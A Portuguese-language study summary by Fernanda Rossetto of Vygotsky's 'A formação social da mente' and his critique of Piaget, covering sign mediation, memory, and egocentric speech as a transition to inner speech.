Vygotsky – A formação social da mente

A formação social da mente de  Vygotsky

Fernanda Rossetto

Mentes inteligentes são inversamente proporcionais a mentes automáticas”.

Qual a natureza das relações entre o uso de instrumentos e o desenvolvimento da linguagem? A noção corrente da maturação como um processo passivo não pode descrever, de forma adequada, os fenômenos complexos. Ao enfatizar as origens sociais da linguagem e do pensamento, Vygotsky seguia a linha dos influentes sociólogos franceses, mas, até onde sabemos, ele foi o primeiro psicólogo moderno a sugerir os mecanismos pelos quais a cultura torna-se parte da natureza de cada pessoa. Vygotsky, desde o inicio de sua carreira, via o pensamento marxista como uma fonte cientifica valiosa. “Uma aplicação do materialismo histórico e dialético relevante para a psicologia”, seriam um resumo preciso da teoria sociocultural de Vygotsky dos processos psicológicos superiores. Vygotsky viu nos métodos e princípios do materialismo dialético a solução dos paradoxos científicos fundamentais com que se defrontavam seus contemporâneos. Um ponto central desse método é que todos os fenômenos sejam estudados como processos em movimento e mudança. O momento de maior significação no curso do desenvolvimento intelectual, que dá origem às formas puramente humanas de inteligência pratica e abstrata, acontece quando a fala e a atividade prática, então duas linhas completamente independentes de desenvolvimento, convergem. Assim que a fala e o uso de signos são incorporados a qualquer ação, esta se transforma e se organiza ao longo de linhas inteiramente novas. Realizam-se, assim, o uso de instrumentos especificamente humano, indo além do uso possível de instrumentos, mais limitado, pelos animais superiores. Antes de controlar o próprio comportamento, a criança começa a controlar o ambiente com a ajuda da fala. Isso produz novas relações com o ambiente, além de uma nova organização do próprio comportamento. A criação dessas formas caracteristicamente humanas de comportamento produz, mais tarde, o intelecto, e constitui a base do trabalho produtivo: a forma especificamente humana do uso de instrumentos. A fala da criança é tão importante quanto a ação para atingir um objetivo. Finalmente é muito importante observar que a fala, além de facilitar a efetiva manipulação de objetos pela criança, controla, também, o comportamento da própria criança. Assim, com a ajuda da fala, as crianças, diferentemente dos macacos, adquirem a capacidade de ser tanto sujeito como objeto de seu próprio comportamento. A fala egocêntrica das crianças deve ser como uma forma de transição entre a fala exterior e interior. Funcionalmente, a fala egocêntrica é a base para a fala exterior, enquanto que na sua forma externa está incluída na fala comunicativa. Uma maneira de aumentar a produção de fala egocêntrica é complicar a tarefa de tal forma que a criança não possa usar, de forma direta, os instrumentos para soluciona-la. Diante de tal desafio, aumenta o uso emocional da linguagem pelas crianças, assim como aumentam seus esforços no sentido de atingir uma solução mais inteligente, menos automática. Posteriormente, entretanto quando a fala se desloca para o início da atividade, surge uma nova relação entre palavra e ação. Nesse instante a fala dirige, determina e domina o curso da ação; surge a função planejadora da fala, além da função já existente de linguagem, de refletir o mundo exterior. Assim como um molde dá forma a uma substância, as palavras podem moldar uma atividade dentro de uma determinada estrutura. Uma vez que as crianças aprendem a usar, efetivamente, a função planejadora de sua linguagem, o seu campo psicológico muda radicalmente. Uma visão do futuro é, agora, parte integrante de suas abordagens ao ambiente imediato. Desde os primeiros dias do desenvolvimento da criança, suas atividades adquirem um significado próprio num sistema de comportamento social e, sendo dirigidas a objetivos definidos, são retratadas através do prisma do ambiente da criança. O caminho do objeto até a criança e desta até o objeto passa através de outra pessoa. Essa estrutura humana complexa é o produto de um processo de desenvolvimento profundamente enraizado nas ligações entre historia individual e historia social. A estrutura de operações com signos requer um elo intermediário entre o estímulo e a resposta; ele cria uma nova relação entre S e R. Consequentemente, o processo simples estímulo-resposta é substituído por um ato complexo, mediado. Nesse novo processo o impulso direto para reagir é inibido, e é incorporado um estímulo auxiliar que facilita a complementação da operação por meios indiretos. Estudos cuidadosos demonstram que esse é um tipo básico de organização para todos os processos psicológicos superiores, ainda que de forma muito mais elaborada. Ele confere à operação psicológica formas qualitativamente novas e superiores, permitindo aos seres humanos, com o auxílio de estímulos extrínsecos, controlar o seu próprio comportamento. O uso de signos conduz os seres humanos a uma estrutura específica de comportamento que se destaca do desenvolvimento biológico e cria novas formas de processos psicológicos enraizados na cultura. Embora o aspecto indireto (ou mediado) das operações psicológicas constitua uma característica essencial dos processos mentais superiores, seria um grande erro, como já assinalei em relação ao início da fala, acreditar que as operações indiretas surgem como resultado de uma lógica pura. A criança não deduz, de forma súbita e irrevogável, a relação entre o signo e o método de usa-lo. Tampouco ela desenvolve intuitivamente uma atitude abstrata, originada, por assim dizer, “das profundezas da mente da própria criança”. Esse ponto de vista metafísico, segundo o qual esquemas psicológicos inerentes existem anteriormente a qualquer experiência, leva inevitavelmente a uma concepção apriorística das funções psicológicas superiores. As operações com signos aparecem como o resultado de um processo prolongado e complexo, sujeito a todas as leis básicas da evolução psicológica. Isso significa que a atividade de utilização de signos nas crianças não é inventada e tampouco ensinada pelos adultos; ao invés disso, ela surge de algo que originalmente não é uma operação com signos, tornando-se uma operação desse tipo somente após uma serie de transformações qualitativas. Cada uma dessas transformações cria as condições para o próximo estagio e é, em si mesma, condicionada pelo estagio precedente; dessa forma, as transformações estão ligadas como estágios de um mesmo processo e são, quanto a sua natureza, históricas. As funções psicológicas superiores surgem ao longo do curso geral do desenvolvimento psicológico da criança como resultado do mesmo processo dialético, e não como algo que é introduzido de fora ou dentro. Podem-se distinguir, dentro de um processo geral de desenvolvimento, duas linhas qualitativamente diferentes de desenvolvimento, diferindo quanto a sua origem: de um lado, os processos elementares, que são de origem biológica; de outro, as funções psicológicas superiores, de origem sócio-cultural. A história do comportamento da criança nasce do entrelaçamento dessas duas linhas. A memória, em fases bem iniciais da infância, é uma das funções psicológicas centrais, em torno da qual se constroem todas as outras funções. Para crianças muito pequenas, pensar significa lembrar; em nenhuma outra fase, depois dessa muito inicial da infância, podemos ver essa conexão intima entre essas duas funções psicológicas. A criança expressa em resumo muito claro, das impressões deixadas nela pelo tema em questão, e que ela é capaz de lembrar. O conteúdo do ato de pensar na criança, é determinado não tanto pela estrutura lógica do conceito em si, como o é pelas suas lembranças concretas. Quanto ao seu caráter, ele é sincrético e reflete o fato de o pensar da criança depender, antes de mais nada, de sua memória. As suas representações gerais do mundo baseiam-se na lembrança de exemplos concretos, não possuindo, ainda, o caráter de uma abstração. Todos esses fatos sugerem que a memória, mais do que o pensamento abstrato, é característica definitiva dos primeiros estágios do desenvolvimento cognitivo. Entretanto, ao longo do desenvolvimento ocorre uma transformação, especialmente na adolescência. Para as crianças, pensar significa lembrar; no entanto, para o adolescente, lembrar significa pensar. Sua memória está tão “carregada de lógica” que o processo de lembrança está reduzido a estabelecer e encontrar relações lógicas; o reconhecer passa a consistir em descobrir aquele elemento que a tarefa exige que seja encontrado. Essa logicização é indicativa de como as relações entre as funções cognitivas mudam no curso do desenvolvimento. Na idade de transição, todas as ideias e conceitos, todas as estruturas mentais, deixam de ser organizadas de acordo com os tipos de classes e tornam-se organizadas como conceitos abstratos. Na forma elementar alguma coisa é lembrada; na forma superior os seres humanos lembram alguma coisa. A verdadeira essência da memória humana está no fato de os seres humanos serem capazes de lembrar ativamente com a ajuda de signos. Poder-se-ia dizer que a característica básica do comportamento humano em geral é que os próprios homens influenciam sua relação com o ambiente e, através desse ambiente, pessoalmente modificam seu comportamento, colocando-o sob seu controle.

Pensamento e Linguagem

A psicologia deve muito a Jean Piaget. Não é exagero afirma que ele revolucionou o estudo da linguagem e do pensamento das crianças. Piaget desenvolveu o método clinico de investigação das ideias infantis, que vem sendo amplamente utilizado desde a sua criação. Demonstrou através de abordagem positiva, ou seja, que privilegia as características distintivas do pensamento infantil; que a diferença entre o pensamento infantil e o pensamento adulto era mais qualitativa que quantitativa. Para Piaget a mente de uma criança não é a mente de um adulto em miniatura, para isso ele se utilizou de provas experimentais. Também está presente a ideia de evolução, que projeta um brilho incomum a todos os estudos de Piaget. No entanto, a despeito de toda a sua grandeza, a obra de Piaget sofre da dualidade comum a todas as obras pioneiras da psicologia contemporânea. Assim como os sistemas individuais de psicologia criados por Freud e Levy-Bruhl e Blondel, a dualidade predominante reflete-se na incompatibilidade entre essas estruturas teóricas, com seus tons metafísicos e idealistas, e a s bases empíricas sobre as quais se edificaram. Piaget tenta escapar dessa dualidade inevitável atentando-se aos fatos. Evita deliberadamente as generalizações, mesmo em seu próprio campo, e toma cuidado especial para não resvalar para os domínios correlatos da lógica, da teoria do conhecimento ou da historia da filosofia. O empirismo puro parece ser para ele, o único terreno seguro. Na verdade, o seu ponto forte é revelar fatos novos, analisá-los exaustivamente e classificá-los. Seu método clínico revela-se um instrumento realmente valioso para o estudo dos estruturais complexos do pensamento infantil em suas transformações evolutivas. Esse método unifica as suas diversas investigações e nos proporciona um quadro vivo, coerente e pormenorizado do pensamento infantil. Os traços do pensamento infantil constituem um todo ordenado, com uma lógica própria ao redor de um fato unificador central. Segundo Piaget, o elo de ligação de todas as características especificas da lógica das crianças é o egocentrismo do pensamento infantil. A esse traço central relaciona todos os outros que descobriu, tais como o realismo intelectual, o sincretismo e a dificuldade de compreender as relações. Ele descreve o egocentrismo como ocupando uma posição genética, estrutural e funcionalmente intermediaria entre o pensamento autístico e o pensamento dirigido. A ideia de polaridade do pensamento dirigido e não-dirigido é tomada de empréstimo à teoria psicanalítica. Diz Piaget: o pensamento dirigido é consciente, isto é, persegue objetivos que estão presentes na mente daquele que pensa. E inteligente, isto é, encontra-se adaptado à realidade e luta para influenciá-la. É suscetível de verdade e erro (…) e pode ser comunicado por meio da linguagem. O pensamento autístico é subconsciente, isto é os objetivos que persegue e os problemas que coloca a si mesmo não estão presentes na consciência. Não está adaptado à realidade externa, mas cria para si mesmo uma realidade de imaginação ou de sonhos. Tende a gratificar desejos, e não a estabelecer verdades, e permanece estritamente individual e incomunicável como tal por meio da linguagem, uma vez que opera basicamente com imagens e, para ser comunicado, precisa recorrer a métodos indiretos, evocando, por meio de símbolos e de mitos, os sentimentos que o guiam. O pensamento dirigido é social. À medida que se desenvolve, vai sendo cada vez mais influenciado pelas leis da experiência e da lógica propriamente dita. O pensamento autístico, ao contrário, é individualista e obedece a um conjunto de leis próprias especiais. Entre essas duas formas contrastantes de pensamento há muitas variedades quanto ao seu grau de comunicabilidade. Essas variedades intermediárias devem obedecer a uma lógica especial, intermediaria também entre a lógica do autismo e a lógica da inteligência. Propomos dar o nome de pensamento egocêntrico à principal dessas formas intermediárias. Embora essa função principal continue sendo a satisfação das necessidades pessoais, já inclui algumas adaptações mentais, um pouco da orientação para a realidade característica do pensamento nos adultos. O pensamento egocêntrico da criança “fica a meio caminho entre o autismo, no sentido estrito da palavra, e o pensamento socializado”. E importante observar que, ao longo de toda sua obra, Piaget enfatiza mais os traços comuns entre o pensamento egocêntrico e o autismo, do que os traços que o distinguem, afirmando enfaticamente: “o brinquedo é a lei suprema do pensamento egocêntrico”. Essa mesmo tendência é especialmente marcante quando ele aborda o sincretismo, embora observe que o mecanismo o pensamento sincrético representa uma transição da lógica dos sonhos para a lógica do pensamento. Piaget afirma que o egocentrismo situa-se entre o autismo extremo e a lógica da razão, tanto cronologicamente como estrutural e funcionalmente. Sua concepção do desenvolvimento do pensamento baseia-se na premissa, extraída da psicanálise, de que o pensamento infantil é original e naturalmente autístico, só se transformando em pensamento realista sob uma longa e persistente pressão social. Piaget afirma que isso não desvaloriza a inteligência da criança. “A atividade lógica não é tudo o que existe para a inteligência”. A imaginação é para se descobrir a solução de problemas, mas não se preocupa com a verificação e a comprovação que a busca da verdade pressupõe. A necessidade de verificar nosso pensamento, isto é, a necessidade de atividade lógica, surge mais tarde. Essa demora é de se esperar, uma vez que o pensamento serve primeiro à satisfação imediata, muito antes de procurar a verdade; a forma mais espontânea de pensamento é o brinquedo ou a imaginação mágica, que faz com que o desejável pareça possível de ser obtido. Ate os sete ou oito anos, o brinquedo predomina de forma tão absoluta no pensamento infantil, que se torna muito difícil separar a invenção deliberada da fantasia que a criança ser verdadeira. Em resumo, o autismo é visto como a forma original e mais primitiva do pensamento; a lógica aparece relativamente mais tarde, e o pensamento egocêntrico é o elo genético entre ambos. Esta é a pedra angular de todo o edifício teórico de Piaget. Segue a evolução do egocentrismo até a natureza da atividade prática da criança e o desenvolvimento posterior das atitudes sociais. Antes dos sete ou oito anos o egocentrismo infantil permanece como uma característica totalmente dominante. Considera direta ou indiretamente egocêntricos todos os fenômenos da lógica infantil, em sua prodiga variedade. A respeito do sincretismo, uma importante expressão do egocentrismo, diz claramente que permeia todo o pensamento da criança, tanto na esfera verbal quando na perceptual. Depois dos sete ou oitos anos, quando o pensamento socializado começa a tomar forma , as características egocêntricas não desaparecem repentinamente. Desaparecem das operações perceptuais da criança, mas continuam cristalizadas na área mais abstrata do pensamento puramente verbal. O egocentrismo do pensamento está tão intimamente relacionado com a natureza psíquica da criança, que é impenetrável a experiência. As influencias as quais os adultos submetem a criança não ficam gravadas na mente desta como se tratasse de uma chapa fotográfica: são assimiladas, isto é, deformadas pelo ser vivo a elas submetido, e fixam-se em sua própria substância. É essa substância psicológica da criança, ou, em outras palavras, a estrutura e o funcionamento peculiar ao pensamento infantil, que tentamos descrever e, em certa medida, explicar. A base factual da crença de Piaget é fornecida pelas pesquisas que realizou quanto ao uso da linguagem pelas crianças. Na fala egocêntrica, a criança fala apenas para si própria, sem interesse pelo seu interlocutor; não tenta comunicar-se, não espera resposta e, frequentemente, nem sequer se preocupa se alguém a ouve. É uma fala semelhante a um monólogo em uma peça de teatro: a criança está pensando em voz alta, fazendo um comentário simultâneo ao que quer que esteja fazendo. Na fala socializada, ela tenta estabelecer uma espécie de comunicação com os outros, pede, ordena, ameaça, transmite informações, faz perguntas. Alguns dos pensamentos egocêntricos das crianças, não são expressos exatamente por serem egocêntricos, isto é, incomunicáveis. “poder-se-ia dizer que um adulto pensa socialmente mesmo quando está só, enquanto uma criança com menos de sete anos pensa e fala egocentricamente mesmo quando está em companhia de outras pessoas”. Deste modo, o coeficiente de pensamento egocêntrico deve ser muito mais elevado do que o coeficiente de fala egocêntrica. A verdadeira linguagem social da criança, isto é, a linguagem que ela utiliza em sua atividade fundamental, o brinquedo, é uma linguagem de gestos, movimentos, mímicas, tanto quanto palavras. Quando, aos sete ou oito anos, manifesta-se na criança o desejo de trabalhar com os outros, a fala egocêntrica desaparece. Piaget enfatiza que a fala egocêntrica não cumpre nenhuma função verdadeiramente útil no comportamento da criança, e que simplesmente se atrofia à medida que a criança se aproxima da idade escolar. Acreditamos que a fala egocêntrica assume, desde muito cedo, um papel muito definido e importante na atividade da criança. A fim de determinar as causas da fala egocêntrica e as circunstancias que a provocam, organizamos as atividades das crianças de um modo muito semelhante ao de Piaget, mas acrescentando uma serie de frustrações e dificuldades. Em outras palavras, ao impedi-la de agir livremente, nós a forçávamos a enfrentar problemas. Descobrimos que nessas situações difíceis o coeficiente de fala egocêntrica quase duplicava, em comparação com o numero normal observado por Piaget para crianças na mesma idade, e também em comparação com o nosso próprio numero, para crianças que não tinham que se deparar com esses problemas. A criança tentaria remediar a situação, falando consigo mesma. Nas mesmas atividades sem obstáculos, o coeficiente de fala egocêntrica era até mesmo inferior àquele observado por Piaget. Portanto, é importante pressupor que as interrupções mo fluxo regular da atividade constituem um estimulo importante para a fala egocêntrica. Essa descoberta se ajusta às duas premissas a que Piaget se refere varias vezes em seu livro. Uma delas é chamada lei da consciência, segundo a qual um obstáculo ou uma perturbação em uma atividade automática despertam, naquele que a pratica, a consciência dessa atividade. A outra premissa é de que a fala é uma expressão desse processo de conscientização. Nossas descobertas indicam que a fala egocêntrica não permanece por muito tempo como um mero acompanhamento da atividade da criança. Além de ser um meio de expressão e liberação da tensão, torna-se logo um instrumento do pensamento, no sentido próprio do termo, a busca e o planejamento da solução de um problema. Nossas experiências demonstraram alterações extremamente complexas na inter-relação da atividade com a fala egocêntrica. Obervamos como a fala egocêntrica marcou, a princípio, o resultado final ou um momento crítico em uma atividade, deslocando-se em seguida, gradualmente, para o meio e, finalmente, para o início da atividade, assumindo uma função diretiva e estratégica e elevando a atividade da criança ao nível de um comportamento intencional. Uma criança pequena primeiro desenha, e só depois decide o que é que desenhou; uma criança um pouco mais velha dá nome ao seu desenho quando este está pronto e, por fim, decide de antemão o que pretende desenhar. Os dados obtidos sugerem fortemente a hipótese de que a fala egocêntrica é um estágio é um estágio transitório na evolução da fala oral para a fala interior. Nas nossas experiências, as crianças mais velhas, quando se deparavam com obstáculos, comportavam-se de maneira diferente das mais novas. Frequentemente, examinavam a situação em silencio e, em seguida, encontravam uma solução. Isso indicaria que as mesmas operações mentais realizadas pela criança em idade pré-escolar por meio da fala egocêntrica já estão, na criança em idade escolar, relegadas à fala interior silenciosa. Em Piaget, a fala egocêntrica simplesmente desaparece. Em seus estudos ele não elucida satisfatoriamente a questão do desenvolvimento da fala interior na criança. A fala interior do adulto representa o “pensar para si próprio”, muito mais do que adaptação social, isto é, desempenha a mesma função da fala egocêntrica nas crianças. Tem, também, as mesmas características estruturais: fora de contexto, seria incompreensível para os outros, uma vez que omite “mencionar” o que é óbvio para o “locutor”. Essas semelhanças levam-nos a admitir que, ao desaparecer de vista, a fala egocêntrica não se atrofia simplesmente, mas “se esconde”, isto é, transforma-se em fala interior. Nossa observação de que, na idade em que ocorre essa modificação, as crianças que estão passando por situações difíceis recorrem ora à fala egocêntrica, ora à reflexão silenciosa, indica que ambas podem ser funcionalmente equivalentes. É nossa a hipótese de que os processos da fala interior se desenvolvem e se estabilizam aproximadamente no início da idade escolar, e que isso provoca a súbita diminuição da fala egocêntrica observada naquele estágio. Segundo Piaget, a fala e o pensamento seguem funções uma mesma trajetória, da fala autística à fala socializada, da fantasia subjetiva à lógica das relações. No curso dessa transformação, a influência dos adultos é deformada pelos processos psíquicos das crianças, mas acaba sendo vitoriosa. Para Piaget, o desenvolvimento do pensamento é da história da socialização gradual dos estados mentais autístico, profundamente íntimos e pessoais. Até mesmo a fala social é representada como sendo subsequente, e não anterior, à fala egocêntrica. A hipótese que propomos inverte esse percurso. Observemos a direção do desenvolvimento do pensamento por um breve intervalo de tempo, desde o surgimento da fala egocêntrica até o seu desaparecimento, sob o ponto de vista do desenvolvimento da linguagem como um todo.

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